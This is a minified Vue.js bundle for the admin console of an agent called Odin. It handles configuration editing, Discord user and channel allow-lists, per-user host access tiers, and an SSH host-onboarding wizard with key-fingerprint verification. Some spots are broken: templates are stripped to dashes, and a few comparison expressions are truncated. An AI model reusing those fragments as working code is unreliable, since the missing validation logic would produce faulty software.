Fa(){n.value||G.value&&(pi(),O.value={},ee.value={},$.value=!1)}function fi(C,K=!1){const ne=Date.now();if(K&&ae.path===C&&ne-ae.atJe-Ee);H.value="",kt(C,ne)}function $n(C,K){kt(C,(C.value||[]).filter(ne=>ne!==K))}function Ua(C){return C.apply_mode==="live_read"?"Odin reads the saved file value on next use.":C.apply_mode==="live_for_new_work"?"New work uses the saved file value.":C.apply_mode==="live_apply"?C.apply_handler?`Apply the saved value through ${C.apply_handler}.`:"Apply it through its dedicated owner page or endpoint.":C.apply_mode==="restart"?"Restart Odin for the saved collection to take effect.":C.apply_mode==="activation_required"?"Saving does not enable it. No activation control exists in this release.":C.apply_mode==="dormant"?"This release does not use the saved collection.":"Follow the runtime details shown for this setting."}function vn(C){return C.type==="array"&&Array.isArray(C.value)&&!C.structured_container&&!C.structured_container_child&&C.sensitivity==="public"&&C.value.every(K=>["string","number","boolean"].includes(typeof K))}function Ie(C){const K=String(te.value[C.path]??"").trim();if(!K)return;const ne=[...new Set([...C.value||[],K])];te.value={...te.value,[C.path]:""},kt(C,ne)}function D(C,K){kt(C,(C.value||[]).filter(ne=>ne!==K))}function pe(C,K){var Ee;if(!C)return null;if((Ee=C.enum)!=null&&Ee.length&&!C.enum.includes(K))return`Choose one of: ${C.enum.join(", ")}`;if(C.path==="agents.final_warning_iterations"&&(!Array.isArray(K)||!K.length))return"Add at least one warning threshold.";const ne=C.constraints||{};if((C.type==="integer"||C.type==="number")&&typeof K=="number"){if(ne.minimum!==void 0&&Kne.maximum)return`Must be at most ${ne.maximum}${C.unit?` ${C.unit}`:""}`}return null}function ke(C){return de.value[C.path]||null}function Be(C){const K=`${C}.`;return Object.keys(de.value).some(ne=>ne===C||ne.startsWith(K))}function Ue(){n.value||N.value.length&&(M.value.push(Gn(O.value)),O.value=N.value.pop(),ee.value={},I.value={},ae={path:null,at:0})}function Ke(){n.value||M.value.length&&(N.value.push(Gn(O.value)),O.value=M.value.pop(),ee.value={},I.value={},ae={path:null,at:0})}function $t(){!G.value||ge.value||($.value=!0,re.value=!1)}function gt(){$.value=!1}function Ot(){Fa()}function ds(C){return DC[C]||wi(C||"unknown")}function ut(C){return`apply-${String(C||"unknown").replaceAll("_","-")}`}function ua(C){return`cfgc-field-${C.replace(/[^a-zA-Z0-9_-]/g,"-")}`}function hn(C){return`${ua(C)}-input`}function _o(C){const K=document.getElementById(ua(C))||document.getElementById(ua(C.split(".").slice(0,2).join(".")));K==null||K.scrollIntoView({behavior:"smooth",block:"center"})}function As(C,K){g.value={type:C,message:K},window.setTimeout(()=>{var ne;((ne=g.value)==null?void 0:ne.message)===K&&(g.value=null)},3500)}function vc(){x.value=!1,L.value="pending_restart",T.value="";const C=MC(a.value);C&&(C.scrollTop=0)}function hc(){x.value=!1}function wo(C=1800){Q&&window.clearTimeout(Q),Q=window.setTimeout(gc,C)}async function gc(){if(w.value){if(V+=1,V>45){w.value=!1,_.value="Odin did not return with the new startup settings within 90 seconds.";return}try{if(t.value=await gl(),Xe.value===0){w.value=!1,_.value=null,As("success","Odin restarted and the saved startup settings are active.");return}}catch{}wo(2e3)}}async function bc(){if(!w.value){_.value=null;try{await z.post("/api/restart",{}),w.value=!0,V=0,x.value=!1,wo()}catch(C){_.value=C.message||"Odin could not schedule a restart."}}}async function ko(){if(!(!G.value||ge.value||n.value)){n.value=!0;try{const C=zC(e.value,O.value),K=await z.put("/api/config",C);e.value=K,O.value={},N.value=[],M.value=[],ee.value={},$.value=!1;try{t.value=await gl(),b.value=null,x.value=Xe.value>0,As("success",Xe.value?`Configuration saved. ${Xe.value} setting${Xe.value===1?"":"s"} still use startup values.`:"Configuration saved. Apply status has been refreshed.")}catch(ne){b.value=ne.message||"Unknown metadata error.",As("error",`Configuration saved, but apply status could not be refreshed: ${b.value}`)}}catch(C){As("error",C.message||"Configuration could not be saved")}finally{n.value=!1}}}async function yc(){if(!n.value){n.value=!0,y.value=null;try{t.value=await gl(),b.value=null}catch(C){y.value=`Image model status could not be refreshed: ${C.message||"Unknown error"}`}finally{n.value=!1}}}async function xc(C,K){if(n.value||!["follow","pin"].includes(K)||!C.length||C.some(Ee=>{var Je,St;return!k.includes(Ee)||!((St=(Je=t.value)==null?void 0:Je.image_model_defaults)!=null&&St[Ee])}))return;n.value=!0,y.value=null;let ne=!1;try{const Ee=await z.post("/api/config/image-models",{operations:Object.fromEntries(C.map(Je=>[Je,K])),expected_revision:t.value.image_model_revision});ne=!0;for(const Je of C){const St=`image.openai.${Je}`,Ks=Rt(e.value,St),gs=Rt(Ee.config,St),yn=Rs=>!Object.hasOwn(Rs,"image")||!Oi(Rt(Rs,St),Ks)?Rs:Ba(Rs,St.split("."),gs);O.value=yn(O.value),N.value=N.value.map(yn),M.value=M.value.map(yn),e.value=Ba(e.value,St.split("."),gs)}t.value={...t.value,image_model_defaults:Ee.image_model_defaults,image_model_revision:Ee.image_model_revision},As("success","Image model defaults saved. Unrelated drafts were not saved.")}catch(Ee){y.value=`Image model operation failed: ${Ee.message||"Unknown error"}. Refresh status before retrying if the outcome is uncertain.`}try{t.value=await gl(),b.value=null}catch(Ee){const Je=`Image model status could not be refreshed: ${Ee.message||"Unknown error"}`;b.value=Je,y.value=ne?`Image model defaults were saved, but ${Je}`:`${y.value} ${Je}`}finally{n.value=!1}}async function gn(){var C,K;if(!(G.value||n.value)){s.value=!0,A.value=null;try{const ne=await z.get("/api/config"),Ee=await gl();await m(),e.value=ne,t.value=Ee,b.value=null;const Je=xe.value;if(Je.some(St=>St.key===E.value)||(E.value=((C=Je[0])==null?void 0:C.key)||zi[0].key),ce.value){const Ks=(((K=Je.find(gs=>gs.key===E.value))==null?void 0:K.sections)||[]).find(gs=>F.value[gs]===!0);F.value=Ks?{...F.value,[Ks]:!0}:{}}}catch(ne){A.value=ne.message||"Unknown configuration error"}finally{s.value=!1}}}function bn(C){if($.value||!(C.ctrlKey||C.metaKey))return;const K=C.target;K instanceof HTMLElement&&(K.matches("input, textarea, select")||K.isContentEditable)||(!C.shiftKey&&C.key.toLowerCase()==="z"?(C.preventDefault(),Ue()):(C.key.toLowerCase()==="y"||C.shiftKey&&C.key.toLowerCase()==="z")&&(C.preventDefault(),Ke()))}function mi(C){ce.value=C.matches}Gt(F,C=>{try{localStorage.setItem(Hg,JSON.stringify(C))}catch{}},{deep:!0});let Fn=!1;function vi(){Fn||(Fn=!0,document.addEventListener("keydown",bn))}function al(){Fn&&(Fn=!1,document.removeEventListener("keydown",bn))}return st(()=>{var C;gn(),vi(),Z=window.matchMedia("(max-width: 760px)"),mi(Z),(C=Z.addEventListener)==null||C.call(Z,"change",mi)}),cs(vi),es(al),es(()=>{o.value=""}),wt(()=>{var C;o.value="",al(),(C=Z==null?void 0:Z.removeEventListener)==null||C.call(Z,"change",mi),Q&&window.clearTimeout(Q)}),{listenerState:i,listenerConsent:l,listenerCredential:o,listenerSaving:r,listenerMessage:c,listenerError:d,listenerStatusError:u,listenerChoiceChanged:he,listenerStatusTone:fe,listenerStatusLabel:me,listenerAuthorizationCopy:we,listenerConfiguredSourceCopy:J,listenerRunningCopy:ie,saveListenerConsent:h,armKeydown:vi,disarmKeydown:al,handleKeydown:bn,config:e,meta:t,loading:s,saving:n,error:A,toast:g,metaRefreshError:b,restartPromptOpen:x,restartScheduled:w,restartError:_,configMain:a,imageModelError:y,imageModelLeaves:k,setImageModelDefaults:xc,refreshImageModelMetadata:yc,searchQuery:T,healthFilter:L,activeCategory:E,reviewOpen:$,mobileOverflowOpen:re,warningThresholdInput:H,arrayInputs:te,healthFilters:ve,visibleCategories:xe,displayGroups:Ae,reviewGroups:$e,sectionCount:le,fieldCount:oe,hasChanges:G,changeCount:X,changedSectionCount:_e,hasDraftErrors:ge,canUndo:j,canRedo:Y,globalFilterActive:U,reviewRestartCount:We,pendingRestartCount:Xe,pendingRestartFields:je,healthCount:ls,categoryStats:sa,selectCategory:ue,selectHealthFilter:Ce,clearFilters:qe,sectionLabel:Te,sectionDescription:W,sectionFieldCount:Le,sectionHealthCount:Ct,sectionApplySummary:ze,sectionApplyDetails:Ye,sectionEntries:Pt,fieldGroups:Vs,sectionSearchHits:$a,mcpConfigSummary:et,fieldRuntimeCopy:Gs,fieldSpecificRuntimeNote:ta,hasHonestAction:Ws,runFieldAction:Pa,hasHostsCollection:se,hostsConfigSummary:Re,sectionChanged:ba,fieldChanged:Fe,isSectionExpanded:ot,toggleSection:pn,discardAllDrafts:Fa,setFieldValue:kt,setNumberFieldValue:Pn,numberInputValue:xa,beginInputEdit:$s,endTextInputEdit:Wt,endInputEdit:ya,addWarningThreshold:mn,removeWarningThreshold:$n,isScalarArray:vn,addScalarArrayItem:Ie,removeScalarArrayItem:D,fieldError:ke,sectionHasErrors:Be,undo:Ue,redo:Ke,openReview:$t,closeReview:gt,mobileCancel:Ot,applyModeLabel:ds,applyClass:ut,compactValue:BC,formatValue:UC,structuredApplyCopy:Ua,fieldId:ua,fieldInputId:hn,focusField:_o,fetchConfig:gn,saveConfig:ko,restartOdin:bc,restartLater:hc,reviewPendingRestart:vc}}},VC=/^\d{15,25}$/;function Gg(e){return String((e==null?void 0:e.display_name)||(e==null?void 0:e.username)||(e==null?void 0:e.id)||"Unknown user")}const Wg={props:{members:{type:Array,default:()=>[]},excludedIds:{type:Array,default:()=>[]},placeholder:{type:String,default:"Search Discord users…"},ariaLabel:{type:String,default:"Search Discord users"},optionsId:{type:String,required:!0},autofocus:{type:Boolean,default:!1},showAddButton:{type:Boolean,default:!1}},emits:["select"],template:` -
- - -
- - -
-
- `,setup(e,{emit:t}){const s=f(""),a=f(!1),n=f(0),i=f(null),l=B(()=>new Set((e.excludedIds||[]).map(String))),o=B(()=>{const _=s.value.toLowerCase().trim();return(e.members||[]).filter(T=>l.value.has(String(T.id))?!1:_?p(T).toLowerCase().includes(_)||String(T.username||"").toLowerCase().includes(_)||String(T.id).includes(_):!0)}),r=B(()=>{const _=s.value.trim();return o.value.length===0&&VC.test(_)&&!l.value.has(_)?_:""}),c=B(()=>o.value.length+(r.value?1:0)),d=B(()=>!!s.value.trim()&&!!(o.value[n.value]||r.value&&n.value===o.value.length)),u=B(()=>{if(a.value){if(o.value[n.value])return`${e.optionsId}-${n.value}`;if(r.value&&n.value===o.value.length)return`${e.optionsId}-raw`}});function p(_){return Gg(_)}function m(){a.value=!0,n.value=0}function h(){m()}function y(){const _=Math.max(c.value-1,0);n.value=Math.min(n.value+1,_)}function k(){n.value=Math.max(n.value-1,0)}function A(){const _=o.value[n.value];_?g(_):r.value&&n.value===o.value.length&&b(r.value)}function g(_){b(String(_.id))}function b(_){t("select",_),s.value="",a.value=!1,n.value=0}function x(){a.value=!1}function w(){setTimeout(x,150)}return st(()=>{e.autofocus&&Ut(()=>{var _;return(_=i.value)==null?void 0:_.focus()})}),{query:s,open:a,highlightedIndex:n,input:i,filteredMembers:o,rawId:r,activeOptionId:u,selectableValue:d,memberName:p,openOptions:m,onInput:h,highlightNext:y,highlightPrevious:k,selectHighlighted:A,selectMember:g,selectId:b,closeOptions:x,onBlur:w}}};function em(e,t,s){var a;return((a=e==null?void 0:e.config)==null?void 0:a[t])!=null?e.config[t]:s==null?void 0:s[t]}const GC={components:{DiscordUserCombobox:Wg},template:` -
-
-

Discord Channels

- -
-
-
-
-

Gateway connection

- {{ connectionState.label }} -
-

{{ connectionState.detail }}

-
- Configured - No usable credential - {{ connection.credential_preferred_storage ? 'Stored in the preferred environment format' : (connection.credential_usable ? 'Legacy storage; replace to migrate' : 'Not stored') }} -
-
-
-
- - -
-
- - -
-
- -
-

- For ordinary conversational intake, allowed users and channels are absolute global gates; guild and channel settings cannot readmit a blocked message. - Explicitly allowed test webhooks bypass the user gate. Require-mention and bot-response behavior - resolve channel → guild → global. An explicit mention bypasses the ignored-bot list, but the effective respond-to-bots policy still applies. - Changes take effect immediately. -

- -
-
-
-
-

{{ error }}

- -
- -
-
-
-
-

Global defaults

-

Allowed users and channels are absolute. Require-mention and bot-response values are defaults that guild or channel settings may override.

-
-
- -
- - -
-
-
-
{{ editor.label }} -
- ? -

{{ editor.description }}

-
-
-
- {{ globalItemLabel(editor, item) }} - - - No entries -
-
- -
-
- - -
-
-
- -
- -
- -
-
- -
- {{ guild.name.charAt(0) }} -
-
- {{ guild.name }} - {{ guild.member_count }} members -
-
-
- - - - -
-
- - -
-
- - - - - - - - - - - - - - - - - - - - - -
ChannelCategoryEnabledRequire @mentionRespond to botsOverride
#{{ ch.name }}{{ ch.category || '—' }} - - - - - - - - inherit -
-
-
-
-
-
- `,setup(){const e=f([]),t=f({persisted:!1,credential_usable:!1,credential_preferred_storage:!1,connection:{state:"unavailable",detail:"Connection status unavailable"}}),s=f(""),a=f(!1),n=f(!1),i=f(null);let l=null;const o=f(!0),r=f(null),c=f({}),d=f(null),u=f(null),p=f(!1),m=f(null),h=f({}),y=f([]);let k=0;const A=Object.freeze([{key:"allowed_users",label:"Allowed users",description:"Absolute gate for ordinary conversational intake. Guild/channel settings cannot readmit blocked users; explicitly allowed test webhooks bypass this gate.",placeholder:"Search users",userAutocomplete:!0},{key:"channels",label:"Allowed channels",description:"Absolute gate for ordinary conversational intake. Guild/channel settings cannot readmit blocked channels.",placeholder:"Search channels"},{key:"ignore_bot_ids",label:"Ignored bot IDs",description:"Ignored unless the bot explicitly mentions Odin; the effective respond-to-bots policy still applies.",placeholder:"Bot ID",userAutocomplete:!0}]),g=B(()=>{var Y,xe,S,P;const oe=String(((xe=(Y=t.value)==null?void 0:Y.connection)==null?void 0:xe.state)||"").toLowerCase();return{...{connected:{key:"connected",label:"Connected",badgeClass:"badge-success"},connecting:{key:"connecting",label:"Connecting",badgeClass:"badge-warning"},disconnected:{key:"disconnected",label:"Disconnected",badgeClass:""},detached:{key:"disconnected",label:"Disconnected",badgeClass:""},detaching:{key:"disconnected",label:"Disconnected",badgeClass:""},stopped:{key:"unavailable",label:"Unavailable",badgeClass:"badge-warning"},failed:{key:"unavailable",label:"Unavailable",badgeClass:"badge-warning"}}[oe]||{key:"unavailable",label:"Unavailable",badgeClass:"badge-warning"},detail:((P=(S=t.value)==null?void 0:S.connection)==null?void 0:P.detail)||"Connection status unavailable"}}),b=B(()=>JSON.stringify(d.value)!==JSON.stringify(u.value)),x=B(()=>new Map(y.value.map(oe=>[String(oe.id),oe])));function w(oe){return oe.config&&oe.config.enabled!==void 0?oe.config.enabled:!0}function _(oe){return em(oe,"require_mention",d.value)}function T(oe){return em(oe,"respond_to_bots",d.value)}function L(oe){return oe.config&&Object.keys(oe.config).length>0}function E(oe){c.value[oe]=!c.value[oe]}function F(oe){const ve=oe.discord||{};return{allowed_users:[...ve.allowed_users||[]],channels:[...ve.channels||[]],respond_to_bots:!!ve.respond_to_bots,require_mention:!!ve.require_mention,ignore_bot_ids:[...ve.ignore_bot_ids||[]]}}async function O({showLoading:oe=!0}={}){const ve=++k;oe&&(o.value=!0),r.value=null;try{const j=await z.get("/api/discord/guilds");ve===k&&(e.value=j)}catch(j){ve===k&&(r.value=j.message)}finally{oe&&ve===k&&(o.value=!1)}}async function I(){try{t.value=await z.get("/api/discord/connection"),i.value=null}catch(oe){i.value=oe.message}}async function H(oe,ve=null){if(!n.value){n.value=!0,i.value=null;try{const j={operation:oe};ve!==null&&(j.token=ve),t.value=await z.post("/api/discord/connection",j),oe==="credentials"&&(s.value="",a.value=!1)}catch(j){i.value=j.message||"Connection update failed."}finally{n.value=!1}}}function te(){if(!(!a.value||!s.value))return H("credentials",s.value)}function ee(){return H("connect")}function N(){return H("detach")}async function M(){o.value=!0,r.value=null;try{const[oe,ve,j]=await Promise.all([z.get("/api/discord/guilds"),z.get("/api/discord/members").catch(()=>[]),z.get("/api/config")]),Y=F(j),xe=b.value;d.value=Y,xe||(u.value=JSON.parse(JSON.stringify(Y))),y.value=ve,e.value=oe,m.value=null}catch(oe){r.value=oe.message}finally{o.value=!1}}let $=Promise.resolve();const re=f(new Set);function ce(oe,ve){const j=new Set(re.value);j.add(oe),re.value=j;const Y=$.then(ve);return $=Y.catch(()=>{}),Y.finally(()=>{const xe=new Set(re.value);xe.delete(oe),re.value=xe})}function Z(oe,ve,j,Y){const xe=(Y==null?void 0:Y.target)??null;return ce(`guild:${oe}:${ve}`,async()=>{try{await z.put("/api/discord/guild/"+oe+"/config",{[ve]:j}),await O({showLoading:!1})}catch(S){r.value=S.message,xe&&typeof j=="boolean"&&(xe.checked=!j)}})}function Q(oe,ve,j,Y,xe){const S=(xe==null?void 0:xe.target)??null;return ce(`channel:${oe}:${j}`,async()=>{try{await z.put("/api/discord/channel/"+oe+"/config",{[j]:Y}),await O({showLoading:!1})}catch(P){r.value=P.message,S&&typeof Y=="boolean"&&(S.checked=!Y)}})}function ae(oe,ve){return ce(`channel:${oe}:clear`,async()=>{try{await z.put("/api/discord/channel/"+oe+"/config",{clear:!0}),await O({showLoading:!1})}catch(j){r.value=j.message}})}function V(oe,ve){const j=String(ve);if(!oe.userAutocomplete)return j;const Y=x.value.get(j);return Y?Gg(Y):j}function be(oe,ve=null){const j=String(ve??h.value[oe]??"").trim();!j||u.value[oe].includes(j)||(u.value[oe]=[...u.value[oe],j],h.value={...h.value,[oe]:""})}function Oe(oe,ve){u.value[oe]=u.value[oe].filter(j=>j!==ve)}async function le(){if(!(!b.value||p.value)){p.value=!0,m.value=null;try{const ve=(await z.put("/api/config",{discord:u.value})).discord||u.value;d.value={allowed_users:[...ve.allowed_users||[]],channels:[...ve.channels||[]],respond_to_bots:!!ve.respond_to_bots,require_mention:!!ve.require_mention,ignore_bot_ids:[...ve.ignore_bot_ids||[]]},u.value=JSON.parse(JSON.stringify(d.value))}catch(oe){m.value=oe.message||"Global defaults could not be saved."}finally{p.value=!1}}}return st(()=>{M(),I(),l=window.setInterval(I,5e3)}),wt(()=>{l!==null&&window.clearInterval(l),l=null}),{guilds:e,loading:o,error:r,expanded:c,globalDraft:u,globalSaving:p,globalError:m,globalArrayInputs:h,globalMembers:y,globalListEditors:A,globalChanged:b,guildEnabled:w,guildMention:_,guildBots:T,hasOverride:L,toggleGuild:E,fetchAll:M,fetchGuilds:O,setGuildConfig:Z,setChannelConfig:Q,clearOverride:ae,mutationPending:re,globalItemLabel:V,addGlobalItem:be,removeGlobalItem:Oe,saveGlobalDefaults:le,connection:t,connectionState:g,connectionToken:s,connectionTokenDirty:a,connectionBusy:n,connectionError:i,saveDiscordCredentials:te,connectDiscord:ee,detachDiscord:N}}},Js=e=>e==null?e:JSON.parse(JSON.stringify(e));function WC({applyDefault:e,applyUser:t,applyDelete:s,onDefaultConfirmed:a=()=>{},onDefaultRollback:n=()=>{},onUserConfirmed:i=()=>{},onUserRollback:l=()=>{},onUserDeleted:o=()=>{},onError:r=()=>{}}){let c=Promise.resolve(),d=0,u=0;const p=new Map;let m=null;const h=new Map;function y(_){d+=1;const T=c.then(_,_);return c=T.catch(()=>{}),T}function k(_,T){m=Js(_),h.clear();for(const[L,E]of Object.entries(T||{}))h.set(L,Js(E))}function A(_){const T=Js(_),L=++u;return y(async()=>{try{await e(Js(T)),m=Js(T),L===u&&a(Js(T))}catch(E){L===u&&(n(Js(m)),r(E,{kind:"default"}))}})}function g(_,T){const L=Js(T),E=(p.get(_)||0)+1;return p.set(_,E),y(async()=>{try{await t(_,Js(L)),h.set(_,Js(L)),E===p.get(_)&&i(_,Js(L))}catch(F){E===p.get(_)&&(l(_,Js(h.get(_)??null)),r(F,{kind:"user",uid:_}))}})}function b(_){const T=(p.get(_)||0)+1;return p.set(_,T),y(async()=>{try{await s(_),h.delete(_),T===p.get(_)&&o(_)}catch(L){T===p.get(_)&&(l(_,Js(h.get(_)??null)),r(L,{kind:"delete",uid:_}))}})}async function x(){for(;;){const _=c;if(await _,_===c)return d}}async function w(_){for(;;){const T=await x(),L=await _();if(T===d)return L}}return{seed:k,saveDefault:A,saveUser:g,deleteUser:b,whenIdle:x,readSnapshot:w,get revision(){return d}}}const KC={components:{DiscordUserCombobox:Wg,DiscordIdentity:Dn},template:` -
-
-

Host Access Control

- -
-

- Control which hosts each user can execute commands on and set per-user defaults. - Users without an explicit entry fall back to the default policy. -

- -
-
-
-
-

{{ error }}

- -
- -
- -
-

Default Policy

-

Applied to users without an explicit host access entry.

-
{{ chip }}
- -

Default host: {{ defaultPolicy.default_host || 'None' }}

-
- - -
-
-

User Overrides

- - -
- - -
-
- - -
-
- - -
- - - - - - - - - - - - - - - - - - -
UserTierHostsDefault HostRemove
- -
Invalid tier: {{ permissions.invalid_overrides[uid] }}
{{ chip }}
- {{ (users[uid] || defaultPolicy).default_host || 'None' }} - - -
-
-

No user overrides configured. All users follow the default policy.

-
-
- - - -
-

Edit hosts

{{ editor === 'default' ? 'Default Policy' : (getMember(editor)?.display_name || editor) }}

-
- - -
- -

No matching hosts.

-
- - -

{{ defaultHostError }}

- -
-
-
-
-
-
- `,setup(){const e=f(!0),t=f(""),s=f(null),a=f([]),n=f({}),i=f({allowed_hosts:[],default_host:""}),l=f({}),o=f([]),r=f(!1),c=f([]),d=f({overrides:{},config_tiers:{},invalid_overrides:{}}),u=["admin","user","guest"],p=f({}),m=f(""),h=f(null),y=f(null),k=f(!1),A=f(""),g=f(!1),b=f(""),x=f(""),w=B(()=>a.value.filter(j=>`${j} ${n.value[j]||""}`.toLowerCase().includes(b.value.toLowerCase()))),_=B(()=>a.value.filter(j=>{var Y,xe;return((Y=y.value)==null?void 0:Y.allow_all)||((xe=y.value)==null?void 0:xe.allowed_hosts.includes(j))})),T=B(()=>y.value?y.value.default_host&&!_.value.includes(y.value.default_host)?_.value.length?"Choose a new default from the allowed hosts before saving.":"No hosts are allowed. Select None for the default before saving.":g.value&&_.value.length&&!y.value.default_host?"Choose a new default from the allowed hosts before saving.":"":""),L=B(()=>[...new Set([...Object.keys(l.value),...Object.keys(d.value.overrides||{}),...Object.keys(d.value.config_tiers||{}),...Object.keys(d.value.invalid_overrides||{})])]),E=B(()=>L.value.filter(j=>{var Y,xe;return`${((Y=O(j))==null?void 0:Y.display_name)||""} ${((xe=O(j))==null?void 0:xe.username)||""} ${j}`.toLowerCase().includes(x.value.toLowerCase())})),F=B(()=>{const j={};for(const Y of c.value)j[Y.id]=Y;return j});function O(j){return F.value[j]||null}function I(j){if(!j||j.allow_all)return"All hosts";const Y=j.allowed_hosts||[];return Y.length>3?`${Y.slice(0,3).join(", ")} +${Y.length-3}`:Y.join(", ")||"No hosts"}function H(j){if(j.allow_all)return["All hosts"];const Y=j.allowed_hosts||[];return[...Y.slice(0,2),...Y.length>2?[`+${Y.length-2}`]:[],...Y.length?[]:["None"]]}function te(j){return o.value.includes(j)?H(l.value[j]):["Inherit policy"]}async function ee(j){var xe,S;if(k.value)return;const Y=j==="default"?i.value:l.value[j]||i.value;m.value=j,y.value={...Y,allowed_hosts:[...Y.allowed_hosts]},g.value=!!Y.default_host,b.value="",A.value="",await Ut(),y.value&&!((xe=h.value)!=null&&xe.open)&&((S=h.value)==null||S.showModal())}function N(){var j;k.value||((j=h.value)==null||j.close(),y.value=null,m.value="")}function M(j){if(j.key!=="Tab")return;const Y=[...h.value.querySelectorAll("button, input, select")].filter(P=>!P.matches(":disabled")),xe=Y[0],S=Y.at(-1);if(!xe){j.preventDefault();return}j.shiftKey&&document.activeElement===xe?(j.preventDefault(),S.focus()):!j.shiftKey&&document.activeElement===S&&(j.preventDefault(),xe.focus())}async function $(){var xe;if(!y.value||k.value||T.value)return;const j=m.value,Y={...y.value,allowed_hosts:[...y.value.allowed_hosts]};k.value=!0,A.value="",await Ut(),(xe=h.value)!=null&&xe.open&&h.value.focus();try{j==="default"?(i.value=Y,await ae.saveDefault(Y)):(l.value[j]=Y,o.value.includes(j)||o.value.push(j),await ae.saveUser(j,Y))}finally{k.value=!1}A.value||N()}function re(j){var Y,xe;return((Y=d.value.overrides)==null?void 0:Y[j])||((xe=d.value.config_tiers)==null?void 0:xe[j])||"default"}async function ce(j,Y){var xe;try{if(Y==="default"){if(!((xe=d.value.overrides)!=null&&xe[j]))return;await z.del(`/api/permissions/user/${encodeURIComponent(j)}`)}else await z.put(`/api/permissions/user/${encodeURIComponent(j)}`,{tier:Y});Y==="default"?delete d.value.overrides[j]:d.value.overrides[j]=Y,Se.success("Permission tier updated")}catch(S){Se.error(S.message||"Failed to update tier"),await be()}}async function Z(j){const Y=p.value[j];if(Y)try{await z.post(`/api/permissions/user/${encodeURIComponent(j)}/repair`,{tier:Y}),delete d.value.invalid_overrides[j],d.value.overrides[j]=Y}catch(xe){Se.error(xe.message||"Failed to repair tier")}}function Q(j,Y){return j?j.allowed_hosts===null||j.allowed_hosts===void 0?{allowed_hosts:[...Y],default_host:j.default_host||"",allow_all:!0}:{allowed_hosts:j.allowed_hosts,default_host:j.default_host||"",allow_all:!1}:{allowed_hosts:[...Y],default_host:Y[0]||"",allow_all:!0}}const ae=WC({applyDefault:async j=>{const Y=j.allow_all?null:j.allowed_hosts;await z.put("/api/host-access/default-policy",{allowed_hosts:Y,default_host:j.default_host})},applyUser:async(j,Y)=>{const xe=Y.allow_all?null:Y.allowed_hosts;await z.put(`/api/host-access/user/${j}`,{allowed_hosts:xe,default_host:Y.default_host})},applyDelete:j=>z.del(`/api/host-access/user/${j}`),onDefaultConfirmed:()=>Se.success("Default policy updated"),onDefaultRollback:j=>{j&&(i.value=j)},onUserConfirmed:j=>{const Y=O(j);Se.success(`Updated access for ${Y?Y.display_name:j}`)},onUserRollback:(j,Y)=>{const xe={...l.value};Y?xe[j]=Y:delete xe[j],l.value=xe,Y||(o.value=o.value.filter(S=>S!==j))},onUserDeleted:j=>{const Y={...l.value};delete Y[j],l.value=Y,o.value=o.value.filter(xe=>xe!==j)},onError:(j,Y)=>{var S;k.value&&(A.value=j.message||"Failed to save. Your draft is retained; try again.");const xe=Y.uid?` ${((S=O(Y.uid))==null?void 0:S.display_name)||Y.uid}`:"";Se.error(`${j.message||"Failed to save"} — reverted${xe}`)}});let V=0;async function be(){const j=++V;e.value=!0,t.value="";try{const Y=await ae.readSnapshot(()=>z.get("/api/host-access"));if(j!==V)return;s.value=Y,a.value=Y.available_hosts||[],n.value=Y.host_descriptions||{},i.value=Q(Y.default_policy,a.value);const xe=Y.users||{};o.value=Object.keys(xe);const S={};for(const[P,G]of Object.entries(xe))S[P]=Q(G,a.value);l.value=S,ae.seed(i.value,S),d.value=await z.get("/api/permissions/tiers")}catch(Y){j===V&&(t.value=Y.message||"Failed to fetch host access data")}finally{j===V&&(e.value=!1)}try{const Y=await z.get("/api/discord/members")||[];j===V&&(c.value=Y)}catch{j===V&&(c.value=[])}}function Oe(){r.value=!0}function le(j){!/^\d{15,25}$/.test(j)||l.value[j]||(l.value[j]={allowed_hosts:[...a.value],default_host:a.value[0]||"",allow_all:!1},o.value.includes(j)||o.value.push(j),ae.saveUser(j,l.value[j]),r.value=!1)}async function oe(j){const Y=O(j);await is({title:"Remove user override",message:`Remove the host access override for ${Y?Y.display_name:j}? They will fall back to the default policy.`,confirmLabel:"Remove",danger:!0})&&(await ae.deleteUser(j),l.value[j]||Se.success(`Removed override for ${Y?Y.display_name:j}`))}st(be);function ve(){var j;(j=h.value)==null||j.close(),y.value=null,m.value=""}return es(ve),wt(ve),{loading:e,error:t,data:s,availableHosts:a,hostDescriptions:n,defaultPolicy:i,users:l,showAddUser:r,members:c,hostOverrideIds:o,fetchData:be,getMember:O,openAddUser:Oe,addUserById:le,deleteUser:oe,permissions:d,validTiers:u,repairTiers:p,repairTier:Z,tierValue:re,setTier:ce,editor:m,hostQuery:b,userQuery:x,filteredHosts:w,allUserIds:L,visibleUserIds:E,hostSummary:I,hostChips:H,visibleHostChips:te,hostDialog:h,draft:y,saving:k,saveError:A,requiresDefault:g,defaultHostOptions:_,defaultHostError:T,openEditor:ee,closeEditor:N,saveEditor:$,trapEditorFocus:M}}},JC={template:` -
-
-

Managed Hosts

Live inventory, pinned SSH trust, and connection health.

-
-
-
{{ error }}
-
-
Deletion is blocked by these references:
-
  • {{ item.kind }} · {{ item.location }}
-
-
- - - -
-
- - - - - - - - -
AliasEndpointTrustStateLast testActions
{{ host.alias }}
{{ host.description || 'No description' }}
{{ host.ssh_user }}@{{ host.address }}:{{ host.port }}
{{ host.os }}
{{ host.trust_state }}{{ host.targetable ? 'Targetable' : 'Disabled' }} · draining{{ host.last_test?.detail || 'Not tested this process' }}
-
-
No managed hosts configured.
- -
-

{{ editing ? 'Edit host' : 'Add host' }} · Step {{ step }} of 5

-
- - - - - - - - -
-

Install Odin's public key for {{ form.ssh_user }}@{{ form.address }}. Odin never accepts passwords or private keys here.

{{ keyInfo.public_key }}
{{ keyInfo.authorized_keys_command }}

Fingerprint: {{ keyInfo.fingerprint }}. {{ keyInfo.permissions }}

-

Verify the host key out of band. Run ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub on the target and paste its SHA256 fingerprint.

Observed: {{ observed.join(', ') }}
-

Test non-interactive authentication and platform identity before activation.

{{ JSON.stringify(testResult,null,2) }}
-

Activation is live. Users with allowed_hosts: null gain this host automatically. Review grants on Host Access after saving.

Open Host Access
-
-
-
